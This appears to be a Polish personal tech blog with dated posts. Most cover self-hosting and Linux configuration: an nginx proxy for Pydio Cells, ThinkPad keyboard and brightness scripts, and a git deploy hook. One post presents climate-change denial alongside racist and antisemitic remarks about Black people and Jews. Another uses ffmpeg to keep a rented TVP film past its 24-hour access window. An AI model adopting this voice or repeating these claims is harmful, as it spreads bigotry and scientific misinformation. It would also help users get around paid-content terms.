Przy pytaniu "If this site is accessed through a reverse proxy, provide full external URL (https://mydomain.com):" wpisuję moją domenę: https://vdr.dupa.pl i wszystko zatwierdzam, zamykam. Wychodzę z konsoli kontenera.

Restartuję kontener i... wszystko śmiga pod adresem: https://vdr.dupa.pl

Tutaj wersja konfiguracji dla nginxa:

server {
    server_name vdr.dupa.pl;

    # Allow any size file to be uploaded.
    client_max_body_size 0;
    # To disable buffering
    proxy_buffering off;

    location / {
        # Uncomment this to enable gRPC and thus be able to use cells-sync
        #if ($http_content_type = "application/grpc") {
        #    grpc_pass grpcs://192.168.1.8:8443;
        #}
        proxy_pass https://192.168.1.8:8443;
    }


    location /ws/ {
        proxy_pass https://192.168.1.8:8443;
        proxy_http_version 1.1;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "Upgrade";
    }

    error_log /var/log/nginx/vdr.dupa.pl-error.log;
    access_log /var/log/nginx/vdr.dupa.pl-access.log;

    listen [::]:443 ssl;
    listen 443 ssl http2;

    # certificate configuration (in this case generated by certbot)
    ssl_certificate /etc/letsencrypt/live/vdr.dupa.pl/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/vdr.dupa.pl/privkey.pem;
#    include /etc/letsencrypt/options-ssl-nginx.conf;
#    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem;
}

server {
        if ($host = vdr.dupa.pl) {
            return 301 https://$host$request_uri;
        }

        listen 80;
        listen [::]:80;
        server_name vdr.dupa.pl;
        return 404;
}

Troubleshooting

Piewszą rzeczą, którą warto zrobić to podpięcie się pod kontener Pydio i obejrzenie zawartości pliku pydio.json. Zdarzają się tam podwójne wpisy, zwłaszcza jeżeli była używana komenda cells.

Zalecam sprawdzenie adresu IP serwera MariaDB, zdarzyło się że zmieniłem jego adres, a w pydio.json wciąż był stary.

Raz zniknął mi zdefniowany storage. W pydio.json znalazłem jego nazwę i podpiąłem go ponownie w Pydio Console - przy tworzeniu Datasource należy wybrać opcję "Import existing data".

Dlaczego macOS stał się szmelcem

2022-02-28T22:44:00+01:00

Ignoring software updates is deprecated.
The ability to ignore individual updates will be removed in a future release of macOS.
SoftwareUpdate

No to czyj to jest komputer, mój czy Ich?

Maskowanie WHOIS

2022-02-22T22:21:00+01:00

Nie namawiam, mówię jak można.

Masz firmę, założone na nią konto u Dostawcy. Wykupujesz domenę, a że polskie prawo nakazuje NASK-owi dokonanie wpisu w bazie WHOIS - twoje dane osobowe (bo jesteś takim tworem co się jednoosobowadziałalnośćgospodarcza nazywa) widzi każdy, kto wejdzie na odpowiednią stronę Naukawej Sieci Komputerawej.

Nie porzucaj nadziei, ja ci ją uzupełnię. Załóż sobie czyste konto e-mail. Gdzie? Mnie nie pytaj (darmowe konta to samo zło i kiedyś o tym napiszę) poszukaj sobie, a najlepiej zapłać - będzie twoje i nikt ci w nim grzebał nie będzie.

Zaloguj się do Dostawcy na obecne konto właściciela domeny, odszukaj opcję "Zmiana właściciela domeny", wypełnij wniosek wpisując dane nowego właściciela (osoby fizycznej, nie firmy), a jako e-mail podaj to nowe, czyste, świeżo założone konto.

Po wysłaniu wniosku, przyjdą wiadomości z linkami do potwierdzenia: jeden e-mail na obecne konto, a drugi na nowe, czyste. W obu przypadkach potwierdź chęć zmiany właściciela.

Brzdęk! Baza WHOIS jest czysta bo nie wolno ujawniać danych osób fizycznych bo sRODO.

Dziękuję, że pomogłem. (nauczyłem się od ŁB)

Tar pit 2

2022-02-18T18:04:00+01:00

Całkiem niedawno musiałem wysłać tzw. bulk mail czyli kampanię e-mailingową do dziesiątek tysięcy ludzi. Nie był to żaden spam. Używałem do tego darmowego, opensourcowego PHPList.

Skonfigurowałem Postfixa, ustawiłem odpowiednie rekordy DKIM, DMARC i SPF, zadbałem o revDNS ale i tak, po wysyłce, IP mojego serwera zaczął trafiać na blacklisty jako spammer.

Zacząłem wypisywać się z list i w trakcie tej żmudnej roboty odkryłem kilka rzeczy, które mnie we współczesnym Internecie mierzą:

admini mailserverów zaczęli używać list jak narzędzi o niemal boskich właściwościach, kto trafia na listę tego e-mail nie pokaże w skrzynce adresata. Pan admin uznał, że skoro nadawca jest na blackliście to będzie blokował wiadomości z jego serwera NIE INFORMUJĄC adresata, że ktoś chciał mu coś wysłać ale zostało powstrzymane. To tak jakbym zamówił pizzę do domu ale cieć postanowił jej nie dostarczać do mieszkania i odesłał dowozicielatora. I jeszcze nic nikomu nie mówił.

Mnie uczono, że mam dostarczyć takiego e-maila ale najwyżej z wpisem w nagłówku, że to może być spam, i najlepiej z tzw. score czyli poziomem prawdopodobieństwa. To nie moja decyzja, jako admina, czy to co w e-mailu ma być odebrane przez adresata. To adresat ma sobie ustawić swojego MUA (klienta poczty) co ma robić z tym score i ew. fitrować pocztę.

Wyjątkowo wrednym i agresywnym przykładem do czego prowadzi taka praktyka jest lista prowadzona przez szwajcarską firmę UCE Protect. To są sieciowi bandyci! Wrzucają na swoją listę całe segmenty Internetu. Poniżej opis jaki orzymałem kiedy zgłosiłem swojemu prowajderowi, że IP mojego serwera jest w zablokowanym przez UCE Protect jego systemie autonomicznym.

Przykro nam, że doświadczają Państwo problemów z wysyłką poczty. Zbadaliśmy sprawę i UCE Protect zastosowało masową blokadę ponad tysiąca systemów autonomicznych. System, należący do nas również padł ofiarą takiej blokady. Więcej informacji na temat zablokowanych systemów poniżej:

http://www.uceprotect.net/en/l3charts.php

http://stats.uceprotect.net/?page=su

Nasze działy, prawny oraz nadużyć, kontaktowały się z UCE Protect w sprawie usunięcia z listy. Uzyskaliśmy informację, że wymaga to opłaty. Tak jak pozostali dostawcy usług, nie wnosimy tego typu opłat. Takie działanie UCE Protect uznajemy za złą praktykę psującą branżę, stąd odmawiamy zapłaty. Taka jest polityka firmy w tej sprawie.

UCE Protect twierdzi, że po upływie tygodnia automatycznie usuwa systemy z listy, na co w tej sytuacji bardzo liczymy. Nie mamy jednak wpływu na wywiązanie się z tej obietnicy, stąd nie możemy tego zagwarantować.

W takim razie, jeśli jakiś Wasz adminek używa UCE Protect to nie zobaczycie poczty ode mnie i wielu innych niewiniątek, które wydano na rzeź.

Taki mend jak UCE jest więcej: Google ze swoimi gmailem, Mikroszit ze swoim outlook.com i resztą. To oni za Was, ludzie, decydują co Wam do skrzynki wpadnie. W imię waszej wygody.

To kolejny syf w jaki obfituje dzisiejsza sieć. Duzi dostawcy mają tak ustawione serwery, że to tym musisz się tłumaczyć dlaczego chcesz wysłać pocztę do ich klientów. Ty się tłumaczysz, że nie jesteś wielbłądem. Blokują cię z difoltu, a ty się musisz odblokować. To ma być wolna sieć?

Następny syf, który tylko pogłębia zapaść to usługi jakie np. oferuje Sendgrid. To usługa SMTP, gdzie stawiasz sobie serwer do wysłania poczty, z reguły marketingowej - płacisz, wysyłasz, zapominasz. Niby nic, wszystko wygląda ładnie ale na ich stronie jest jedno zdanie, które wszystko zmienia:

Partnerships with mailbox providers like Gmail, Microsoft and Verizon Media

Dogadują się pod stołem cwaniaki i ich e-maile nie są blokowane. Ty, zwykły ludziku, albo płać za usługę albo cię uwalimy za to, że... nie zapłaciłeś.

I tak się kończy piękna idea tzw. darmowych kont. Pozamykają Was w swoich wielkich obozach, a my będziemy w gettach.

Tar pit czy daliście się nabrać

2022-02-18T12:16:00+01:00

Wiecie do czego do zmierza? Kupujecie jak barany kolejne wersje Ms Office bo nie chcecie subskrypcji i pracy w chmurze? Ale jak długo? Ile jeszcze czasu minie kiedy wasi tzw. "partnerzy biznesowi" wykupią kajdany pod nazwą Office 365 i zmuszą Was do waszych własnych łańcuchów?

Wyjście jest tylko jedno i wreszcie zacznijcie myśleć, przestańcie używać tego całego subskrypcyjnego gówna!

Jeszcze tylko kilka lat i subskrypcja wejdzie w OS-y, będziecie płacić za przywilej używania własnego komputera. To dzieje się szybciej w konsolach - zrobili Wam komputery, które nie są uniwersalne. Na szczęście wciąż są zapaleńcy, którzy dają Wam wolność - zwróćcie uwagę jak się to nazywa:

JAIL-BREAK!

Zapadacie się coraz głębiej, oprogramowanie nie jest wasze chociaż za nie płacicie, ze sprzętem będzie tak samo.

Nie posiadam niczego i jestem szczęśliwy. :(

Tylko dziecko albo dorosły na poziomie debila może wierzyć w takie mrzonki.

To wszystko ma nie być Wasze.

Cudze.

Serwus, raby!

Linux dopieszczony na Thinkpad T590

2022-01-26T00:20:00+01:00

Dopieszczony to raczej dopasowany do własnych upodobań. Czasem system się rozleci, a konfigurację od podstaw robi się raz na parę lat, to lepej zachować zmienione ustawienia w artykule, żeby nie odkrywać wszystkiego na nowo.

Przesiadam się z Macbooka na T590 (i z powrotem) więc głównymi winowajcami nie działających ustawień są: klawiatura, ekran i zdarzenia ACPI.

W przypadku ekranu chodzi nie tyle o różnice w rozmiarach bo w obu przypadkach jest to ok. 15", ale przede wszystkim wartość DPI. Mój Macbook Pro ma ekran Retina więc jest ze dwa razy bardziej gęsty od ThinkPada.

Ustawienia ekranu:

gsettings set org.gnome.desktop.interface text-scaling-factor 1.2

Używam SDDM więc:

sudo vim /etc/sddm.conf

i ustawienie:

# Arguments passed to the X server invocation
ServerArguments=-nolisten tcp -dpi 141

W ~/.Xresources

Xft.dpi:       144

W ~/.xmobarrc pierwsza linia:

Config { font = "-*-Fixed-Bold-R-Normal-*-18-*-*-*-*-*-*-*"
[...]

Dla Firefoxa trzeba wejść pod adres: about:config i ustawić na 1.25 tę opcję:

layout.css.devPixelsPerPx

Czas na klawiaturę.

Mam w ~/bin skrypt do ustawiania klawiatury, który wywołuję w ~/.xsessionrc , nosi nazwę klawisz.sh :

# ustawienia dla ThinkPad T590
/usr/bin/xset r rate 180 45
# ustawiam Super na klawisz Windows
/usr/bin/xmodmap -e 'clear mod4'
/usr/bin/xmodmap -e 'keycode 135 ='
/usr/bin/xmodmap -e 'keycode 135 = ISO_Level3_Shift'

# wyłączam Caps_Lock
/usr/bin/xmodmap -e 'keycode 66 ='

# W ThinkPadzie PgUp i PgDown są obok strzałek
# wyłączam PgUp
/usr/bin/xmodmap -e 'keycode 112 ='
# wyłączam PgDown
/usr/bin/xmodmap -e 'keycode 117 ='

# Mapuję PrtSc na prawy Alt bo leży obok niego i mnie wnerwia
/usr/bin/xmodmap -e 'keycode 107 ='
/usr/bin/xmodmap -e 'keycode 107 = ISO_Level3_Shift'

Teraz najtrudniejsze czyli obsługa klawiszy do ściemniania i rozjaśniania ekranu. W moim modelu nie działają ale rozwiązanie znalazłem w Internecie: https://wiki.gentoo.org/wiki/ACPI/ThinkPad-special-buttons

Zapiszę je tu, w razie gdyby strona zniknęła:

sudo mkdir /etc/acpi/actions

sudo vim /etc/acpi/events/FnHome-brightnessup

#FnHome video/brightnessup BRTUP 00000086 00000000
event=video/brightnessup
action=/etc/acpi/actions/FnHome-brightnessup.sh

sudo vim /etc/acpi/actions/FnHome-brightnessup.sh

#!/bin/bash

# Set the static increment value.  Keep in mind that this will
# be done twice.
IncVal=20

# Get the Maximum value for use.
#MaxVal=$(cat /sys/class/backlight/intel_backlight/max_brightness);
read -r MaxVal < "/sys/class/backlight/intel_backlight/max_brightness"

# Get the current brightness value.
#CurrVal=$(cat /sys/class/backlight/intel_backlight/brightness);
read -r CurrVal < "/sys/class/backlight/intel_backlight/brightness"

# Set the new value minus the decrement value.
NewVal=$(($CurrVal + $IncVal));
echo $NewVal

# Set it to the threshold of the max value.
ThresholdVal=$(($NewVal<$MaxVal?$NewVal:$MaxVal))
echo $ThresholdVal

# Set the new value directly.
echo -n $ThresholdVal > /sys/class/backlight/intel_backlight/brightness

logger "[ACPI] brightnessup |$CurrVal| |$NewVal| |$ThresholdVal|"

sudo chmod +x actions/FnHome-brightnessup.sh

sudo vim /etc/acpi/events/FnEnd-brightnessdown

#FnEnd video/brightnessdown BRTDN 00000087 00000000
event=video/brightnessdown
action=/etc/acpi/actions/FnEnd-brightnessdown.sh

sudo vim /etc/acpi/actions/FnEnd-brightnessdown.sh

#!/bin/bash

# Set the static decrement value.  Keep in mind that this will
# be done twice.
DecVal=20

# Set the Minimum we will accept.
MinVal=0

# Get the current brightness value.
#CurrVal=$(cat /sys/class/backlight/intel_backlight/brightness);
read -r CurrVal < "/sys/class/backlight/intel_backlight/brightness"

# Set the new value minus the decrement value.
NewVal=$(($CurrVal - $DecVal));
echo $NewVal

# Set it to the threshold of the min value.
ThresholdVal=$(($NewVal>$MinVal?$NewVal:$MinVal))
echo $ThresholdVal

# Set the new value directly.
echo -n $ThresholdVal > /sys/class/backlight/intel_backlight/brightness

logger "[ACPI] brightnessdown |$CurrVal| |$NewVal| |$ThresholdVal|"

sudo chmod +x actions/FnEnd-brightnessdown.sh

Test:

for i in `seq 1 150`; do sudo /etc/acpi/actions/FnEnd-brightnessdown.sh ; done

Jak się ściemni to znaczy, że skrypt działa.

Do ewentualnej poprawy jest zmienna DecVal , tu ustawiona na 20, bo może się okazać że to zbyt mały skok i trzeba długo naciskać kombinację Fn+F5 / Fn+F6, żeby uzyskać pożądany efekt.

Na razie tyle. Będę uzupełniał w miarę potrzeby.

Szybka klawiatura w Xorg z użyciem WManagera

2022-01-02T21:26:00+01:00

Istnieje prawdopodobieństwo oddalone od zera, że znalazłem rozwiązanie, lecz nie powód, resetowania ustawień klawiatury.

Zazwyczaj używam następujących wartości opóźnienia i prędkości powtarzania znaków dla klawiatury:

/usr/bin/xset r rate 180 45

Jednak co jakiś czas ustawienia zmieniają się na 660/25 zmienia się również mapowanie klawiszy. Skąd się bierze nie wiem. Z jakiegoś wpisu dowiedziałem się, że te ustawienia są domyślne dla xorg od wersji 1.6.

W końcu udało mi się ustawić te parametry tak, że nawet zresetowanie do ustawień domyślnych niczego nie zmienia albo raczej nie psuje. Używam Window Managera SDDM i zmianę robię w pliku: /etc/sddm.conf.d /dpi.conf

ServerArguments=-nolisten tcp -dpi 180 -ardelay 180 -arinterval 45

Jak widać chodzi o argumenty z jakimi uruchamiane są X-y.

Resetowanie mapowania klawiszy nadal wystpuje i pewnie pójdę tym samym tropem i podmienie u źródła.

Pobieranie filmu z TVP

2021-12-30T14:03:00+01:00

Kupiłem dostęp do filmu za kilkanaście złotych i dostałem dostęp na 24h. Fajnie, ale niestety wypadła mi nagła awaryjna praca i nie wyrobię się z oglądaniem w przeciągu najbliższej doby.

Pech?

A skąd! Wchodzę na stronę z filmem, odczekuję aż miną reklamy i zacznie się odtwarzanie właściwej zawartości. W FF prawy przycisk w dowolnym miejscu strony i wybieram "Inspect".

W oknie "Developer Tools" wybieram zakładkę "Network" znajduję adres pliku z rozszerzeniem .m3u8, kopiuję URL.

Następnie wydaję następującą komendę:

ffmpeg -user_agent "Mozilla/5.0 (Macintosh; Intel Mac OS X 1095) AppleWebKit/601.7.8 (KHTML, like Gecko) Version/9.1.3 Safari/537.86.7" -i https://dlugi-url-do-pliku/nv-hls-index-vod4-f6-v1-a1.m3u8 -c copy moj_film.mkv

Zajrzyj do pliku .m3u8 to zrozumiesz co się dzieje.

Na koniec jeszcze pozostaje pobranie pliku XML z napisami, jego również można znaleźć zaglądając do zakładki "Network". Do przerobienia na format SRT wystarczą jakieś online'owe serwisy.

Źle wychodzi, kto z Microsoftem chodzi

2021-12-21T07:57:00+01:00

Babcia pewnego człowieka prawie zeszła śmiertelnie bo nie mógł się dodzwonić na nr alarmowy 911. Artykuł tu: https://www.vice.com/en/article/m7vgdy/google-pixel-bug-prevented-users-from-calling-911

Screen na samym dole strony, zachowałem gdyby oryginał przestał działać.

Z tytułu można wywnioskować, że winę za fakt ponosi producent telefonu czyli Google. Dopiero z treści wynika, że to przez Microsoft Teams.

No, czy ja nie mówię od lat, że M$ winien się zająć kat?

A w ogóle to Ameryka dała nam popularne gówna i śmieci:

Microsoft

szybkie żarcie

Hollywood

pazerne Pingwiny

psychoanalizę

media „społecznościowe”

Nie będę kompletną świnią i coś fajnego też dała:

komputery

Lisp

Tylko czy umiemy odróżnić ziarno od plew?

A gdy rozróżnimy, to czy umiemy użyć właściwie?

Czy ktoś skuma, że żartuję na poważnie?

How to remove single URL from FF autocomplete

2021-12-02T21:31:00+01:00

Linux Firefox stores cached autocomplete URLs in:

~/.mozilla/firefox/[profile]/places.sqlite

So, install some SQLite tool like:

sudo apt install sqlitebrowser

close FF and then open this file:

sqlitebrowser places.sqlite

then choose right table:

select row with URL you hate and kill it:

Save database, close programme and copy places.sqlite back to your profile.

Napisy do serialu "The Chosen"

2021-11-24T08:55:00+01:00

Serial "The Chosen" powstał zbiórki pieniędzy ludzi z całego świata. Można go za darmo oglądać za pomocą aplikacji na smartfony albo po prostu na stronie https://watch.angelstudios.com/thechosen.

Chciałem obejrzeć serial razem z całą rodziną więc patrzenie w ekran iPhone'a odpadało. Kombinowałem z RaspberryPi i AirPlay ale obraz nie jest obsługiwany. Z telefonem androidowatym też nie wyszło. Pobrałem więc wszystkie filmy na dysk sieciowy i oglądamy na Malince.

Pobieranie jest trywialne ale wymaga zaglądania do kodu strony, kto wie ten sobie poradzi ale żeby nie musieć przerabiać napisów*, wrzucam je tu.

the_chosen_cz1 Pobierz

the_chosen_cz2 Pobierz

Wspierajcie tworzenie następnych części, ma być ich 7, o tu:

https://watch.angelstudios.com/thechosen/pif

Pobierajcie, oglądajcie i namawiajcie innych, wszystko na chwałę Pana!

napisy oryginalnie są w formacie vtt ale 1-linijkowiec robi z nich format SRT:

for i in ls *.vtt; do ffmpeg -i $i basename $i .vtt.srt ;done

Ile połączeń jest na porcie X? jednolinijkowiec

2021-10-20T10:53:00+02:00

netstat -tn 2>/dev/null | grep :443 | awk '{print }' | cut -d: -f1 | sort | uniq -c | sort -nr | sed -e 's/ */ /' | cut -d" "  -f2 | paste -sd+ | bc

W powyższym przypadku na porcie HTTPS ale można zrobić z tego skrypt przyjmujący jako argument numer portu.

W Debianie i Ubuntu wymagane jest doinstalowanie netstat:

sudo apt install net-tools

Ciekawe jest użycie narzędzia "paste", w którym przełącznik "-s" robi serię z danych w kolumnie, a "-d+" dodaje między argumentami (tu: liczbami) delimiter w postaci znaku dodawania.

Global warming is a hoax! Read my lips Google

2021-10-09T07:03:00+02:00

Climate change is a hoax. Climate change is a scam. I’m denying that long-term trends show the global climate is warming, and I’m denying that greenhouse gas emissions or human activity contribute to climate change.

Do you read me Google?

9 października 2021 roku stał się rokiem 1984.

To powyżej to myślozbrodnie.

Google narzuca, że covidowe szczepionki są cacy, że globalne ocieplenie jest be. Zaraz będzie przymus klękania przed Murzynami (tak, my Polacy też, przecież jesteśmy biali i nie reagowaliśmy jak cały świat, z żydowskimi i arabskimi handlarzami włącznie, handlował ludźmi). Z żydostwem już mamy na pieńku, bo chociaż moi rodacy ratowali ich tysiącami ryzykując życiem całej rodziny, teraz ich potomkowie rzucili się na tzw. mienie bezspadkowe.

Wpisuję to na pamiątkę by się jakiejś daty uczepić, chociaż wolność slów i myśli już dawno została odebrana. Internet staje się przekleństwem, Lem chyba miał rację.

[Encrypted] "Łacina" jako mur obronny

2021-09-30T13:47:00+02:00

pXgM3az47u1YkQjLvgKUOQ==;U+VVuV79a1kiBWQbb/7yEqFNeiSYvG3SOBovu3zy+SG+O8H3yotGBtFBQaOdg+IF4cYN+iakCLyfLTvdEt/Nn17E+gAT+XLNhOY8jgitlnY2UPnY98TTO/ew90aPfgaGYiPMnr5LuAbzZK3gSNRlyChfmlQD2LkFsNUmdJb6RCm4gJesAYDA5uID3qBSrW7zCco6EXHQeVUJpHY9lcpi1qV0aBjq0L3vdU3Pe4ureQiGRSKATcTasG6rPu2VkrAimX/Jd9ZIf+F0muKZCvbup8u/ZbsB3MXTiIEImb2gpX3uf1KfeLqkdvVaBxmInMwOFje7tGek+Q9gNdONXt92lChO4ZL6Tbu/YfNE9XeWNiUz24aHPHykXqpmDPuGgtKY/UNXAFVYQKSJ4Goi6ahb1JXoqkuv6u8gD7uDYAQblh/mKK5Ac2OnloaDqxmIvKUqBk3bLdeK1A23r3s0dcRnRvX/oPaaaoTct6bJWhEOzEfnhS68tvNuf13HlnybjDaCmsQpDSdxFPe6F1/PKZfYBrQUdxzvx1UCdycDPlTGSN5OtYl3VnapQ8REMS27KCofqhfo1uTYJH2jwZa2MkFUxBlgZsb+tuxFAgGxFcGymf6f/uIfHcPOmvODM14NjWkEGiibo785Un5MYC9b09xrxf62fbE0wHdpHNCijQoNTzCQydwBZ8SEHPdra/ERHU7aFVnw8RGUrbb4PLqo9MkANf6RVB8UOsXBQcM9zs8lmVN/3SaBeXgP3R4J7tG6eVNRhArCfiwumSVnWSTk9HX23qBRA149SNYxu+ssVg9aJYdTXZWBsGdAnkT/4VmaJKFyy3JpZBePrCXyYjGWFHIoziDQ7znaFExTaQ1lUe4YK+j46zolizvVht9npJHhKtuzWOTibJ3eu1N6BbZLIlPSQDfjCR+52uRpG/5TMJzaWG+V30QrudH0KX1TcUXj5m9dzkKdmOy2OTfdsMr/YF47nYJ+1/g/4o2QJN5FYfCAwGA8hXbDBZ5f47yvoaRoRFFIW/C6ldwBOgvMU4fHG+5RpVJiNjnhGbXRkbj8bCqTRrZGlB+co2jJKEg6gOhNVarcDTO33Nhfh7K5jVbUL26Hbu2CVxygIGae25GiaSftRMafSyP0iHTaTirN4clul8mVH4mf8IWrI/fofr2+lBWXLVOLmYph3DQu0c9Ghmo4rQM81635E7WvMbojmiQU5H+CDzreeWkGiWyo4suVeD157DJv9GA033oJPRpifqfbBxfSmFcs/qsKUeoCmoovQVKDYHmj23FtpgtBL2ewNpG/ceXqSkTFWxDHVLU42eb4djnqXxscVu/jif0w5LLqjWKb5Wnr744lHjEI1wTdigEAmDebgaNqkKOVEPewy1bp2eq5hAvaSZCjLJGryLBuPXa2xAbSKlyCGAYtro8pPjzWBpvEm+1RQrXcXJViHB52LwpVNqfXQhEd6d/RQxZIAvTlDazss3ZzOdIbiPZMAaxFzj+oA5q2G/X1rRqtH1sENstcz2RE5bGfXwH2vIBTveEZ6uwyDyu5u77WTJW0XOofqVWiZy4PcDYsg4kxHsIBHmNAGQ94JAHEOLvRULJW4WaHtiYJxuuYMG96k6B261GsM2INbNBSFvDilhQQVL5D2jPtg5gKpNVoTa2JshMiP+1Rvq6vMxBCN6MdBu7NYuKtvsQ9JHP+TMzTBWhKbntIrYrWo2VjqmqxaO1F+wRP5USlyZSekpYrkjRY+aB+OyKF3eA1tvzI2cEiITn7QjMQwh+uHZwfeXxtJ2BydK8mmja5dzqwjs19AZpKoK3fKMnI/TJ9rEoCQ0b0H2uVRhehIhB1XZqmO1KGdffR6/aDBZdYwTtNThUdpoOf3TKs7q8e/Or6VWczUR55ZII9shvc9dpqx3ubDZnYIQxa50/4cv+6MJR2rrxdNJaKwCzLiwcGIlx/x7Nqptmwyu4GErqd8QALUV5rn3tCtJS64ivVkmBkOFurwkg2MBfGFA0veU36idFhcMz+P4KDfOfXMoXugJ/+sh7TyWLpjrIYDwrKnu2rSfA//7q59tFHhnXLNyhtg8RqdVBdfDIs/NS/MpKZV4ePpmXiJBXbDlm06Hx/9fULjJYWl6GvXvfymcPl5FqW0HanX1CNFakxPp8IYm9O/byfWtpmgZhDyiH3cnCja2fc7vIHrdBywePIU1dUQC7hONlxj2LtgLRg901M9zhr+bAFxxVnzds+WPFifgshZ5mzQRXu1JCRByzxrVb0jxYss70u75G4IPMu9u7dhxsWnuNcxVaCSLzFbKt0shFpKvj8HcZ+cvrFJ8uxuUA5h1F4HjgfBt5GvAxZX6mO74Lx20g2IqSe0XNS9S52QX1IznySdadUSYQTPAadJ2QbZlyOUenw0WOAJgCsAXROb71PjS8flDxI3CdcF/Da2Y/3qgL0SZ9Te8fd3bZmpc6XGeZ03qF3MZbZjQw/Z4jUdX4IxSA75aLMw8o8gmcDk6fcncBfupipQTed8fb6lt+rkGYYQYtdG6AeZ/Pg/UEAkJkYSkcPMZy3Ritb1UZ59LC9+G52SvtDaraQzOXk+RflH+zyalYuQwwg7qb6FDoC3drr/7/XpEwJLy8sz8wV8HTpyuSd3UpvIRjY6DkwTULRoebHEgWRQJChKLMombxOzMdQppc3QT5exSnMCM7v7PhGm9eRN/9nE8q3J0u9fGUOtfTLIOO6oaXMcnCy/B4Sn8BnR7yrAvaaptWW6jpKqRi8la6o3M5dy/2BNAXcpyFIGvTRbRzCwbWHYDvBqnxO+qM0hGcII8p9/weux6cI9VAa3qVaEwT67Nh/tvtuVijuo+K7o2g5LY5kisbL6s2bzPJgLt1UQsaw01voJknQqUGHorqRshdEq6EXHuodusjBvpVMYU0rA027xKk22ZGloEkld3cgTvbSZl+qH44nB+aTzglX2ppkUeHVVni2CpCLVg5VEIv3KuMVvNG/SG7gj0zWIQdgEq82UycIQ5Ru77Tx08dETJ4MwaLw8eUkC9V0X4InTgYR1Uvdqtk284IiDllOOYd434hswjDvU0+k3qf4RWyjJGpLFC2AQT7E1HT65fii4t6Hm2oS5U6rd02q1F7BD4HBzBmucSgvXSE/AohVEO50krCN/pLZr/FJZ3+gJx8WHMnkW+zaASWExihO0+OMa2DffBs0uQdHepfECnIaDswpMhG5Rjd8G1TqCZ/RMUs2G9u31Cc3F/aprOrfiac9Lb4FJJEW94O9ZJUuRz8lsvziZu3uHzdLqZ8tQmfc+2IA308JPeTtRmmZSSkXOiVECIwDdE6ByaFzhkpCuTP2wPRYrL7KAHaJka+PmEuYb5iK6Q1faOuVMa+F+iyL2eKGlhKehr0CHuJb/GnOeXZHlqfi44xRIcvay9Kz0lPf87zFTn9Yc9Tgr9Q2KWBvi3QFS4cTdcWqxj1rt+YiQntNvepudCZuj9b1cRyRb27bKA1DJ2E0jydyyMR8WMReVjPuo50vrOYKiA+Dqkrvdf0yxaMV0XaUDn8/UVy0Q/WwxWFsskBaYqqXocq/B1MfJk9mZMNqjnZbOJnyZghyHcncBbxhsOmBjzL1Ckl37XVFGYwAiyvWs+GpO/Ay/XewtQXVF9sxHcfY3YU1O1CYDMPR9CjPQ8IApRBnKZfNXAJVXfjqNWjkxFlRolxGCYdGaaeypbigcoKe4cieHqhT1EeqxhfCdTC0nx52JHEDgQi4IxpFDE8T2MA2QCvl0YSZ+aPszzyB0dSiKnudXSU5QSJJel6WYzm5jMkeVFNRpWEDPFTLrk5KNOGUvj6XdfLsby0IxResBat5EkP8yepkz10dd3WzNjJLuEqh4jHJifaWU3lqHj8sgsKUbcaAFSVNXn7JFzQ2Q4dWAmL5lODH+WPtwtpHHnjFO7WS0myev2nVwPLAmOnWDNOh1Ii9OZuxhOuXPmCY5SDXN1/SxFjxgh6YyK+LPdBOC7vfYpdpAmXksxuOnoxZP0qmA/gLbYNqzFJLYfI=;^

Ta treść została zaszyfrowana bo wariatów nie brakuje, a ja mam rodzinę.

Automatyczna aktualizacja websajtu a Git

2021-09-22T10:52:00+02:00

Chodzi o to, żeby po wprowadzeniu zmian w repozytorium, zmiany te propagowały się na website na zdalnym serwerze.

Nie jest zupełna automatyzacja bo połączenie VPN nawiązywane jest ręcznie. Korzystam już od dawna ze skryptu, który podnosi VPN-a ale w tym rozwiązaniu jeszcze tego nie zaimplementowałem.

W całym tym bałaganie korzystam z hooka i repozytorium pośredniczącego. Hook, jakby ktoś nie wiedział, to skrypt odpalający jakieś akcje przed lub po wykonaniu czegoś w repozytorium, w tym przypadku będzie to post-receive czyli aktualizacji repo.

Na serwerze docelowym w homedirze swojego użytkownika (tu: paczor) tworzę folder o nazwie np. "intersite" i inicjuję w nim repozytorium pośredniczące git-a:

mkdir ~/inersite
cd ~/intersite
git init --bare

Na tym samym serwerze pliki website'u znajdują się w defaultowej lokalizacji Apache'a na Ubuntu czyli /var/www/html, w tym przypadku niech będzie to folder o nazwie "website":

sudo mkdir /var/www/html/website

Dodaję swojego użytkownika do grupy www-data:

sudo usermod -a -G www-data paczor

Nadaję grupie www-data uprawnienia do zapisu w folderze website'u:

sudo chmod g+w /var/www/html/website

W repozytorium pośredniczącym tworzę hook post-receive:

cat ~/intersite/hooks/post-receive↲
#!/bin/sh
git --work-tree=/var/www/html/website --git-dir=/home/paczor/intersite -f mojwebsite

Jeszcze nadanie bitu wykonywalności dla skryptu:

chmod +x ~/intersite/hooks/post-receive

W lokalnym repozytorium, czyli tym w którym pracuję, czyli np. na laptopie w VIM-ie czy Visual Code - może ich być kilka, na różnych komputerach - muszę dodać to nowe repozytorum pośredniczące:

git remote add mojwebsite ssh://paczor@ip_serwera/home/paczor/intersite

Po wypchnięciu zmian na główne repozytorium (często Github [GitGułag]):

git push

wypycham zmiany na repozytorum pośredniczące:

git push mojwebsite

i wtedy dzieje się cała magia czyli uruchamiany jest skrypt post-receive, który aktualizuje folder /var/www/html/webiste.

[Encrypted] Osioł z pająkosieci

2021-09-21T15:17:00+02:00

Ta treść została zaszyfrowana bo wariatów nie brakuje, a ja mam rodzinę.

Zwierzęta mądrzejsze od ludzi

2021-07-03T08:59:00+02:00

Trudne to czasy kiedy zwierzaki są mądrzejsze od wielu ludzi. Na placu Zbawiciela znowu postawili coś co przypomina wspaniałe zjawisko, widoczne czasem gdy deszcz pada z bezchmurnego nieba.

[Encrypted] Maseczkowa bzdura

2021-07-01T10:27:00+02:00

Ta treść została zaszyfrowana bo wariatów nie brakuje, a ja mam rodzinę.

Paranoja z tymi datami!

2021-05-22T16:30:00+02:00

Pliki video mogą zawierać wśród swoich metadanych datę modyfikacji. Dla przykładu: pobierając za pomocą narzędzia youtube-dl klip video z YouTube, można tę metadaną zapisać. Robi się to tak:

youtube-dl --add-metadata  -o "%(id)s.%(ext)s" https://youtu.be/NCEOPRuiyQo

Zapisanie to jedna sprawa ale odczytanie to już nie takie "hop! siup!".

Można użyć programu o nazwie Mediainfo:

mediainfo -- --Inform="General;%File_Modified_Date_Local%" "NCEOPRuiyQo"

I dowiadujemy się, że plik został wrzucony na YT: 2019-12-17 23:41:09
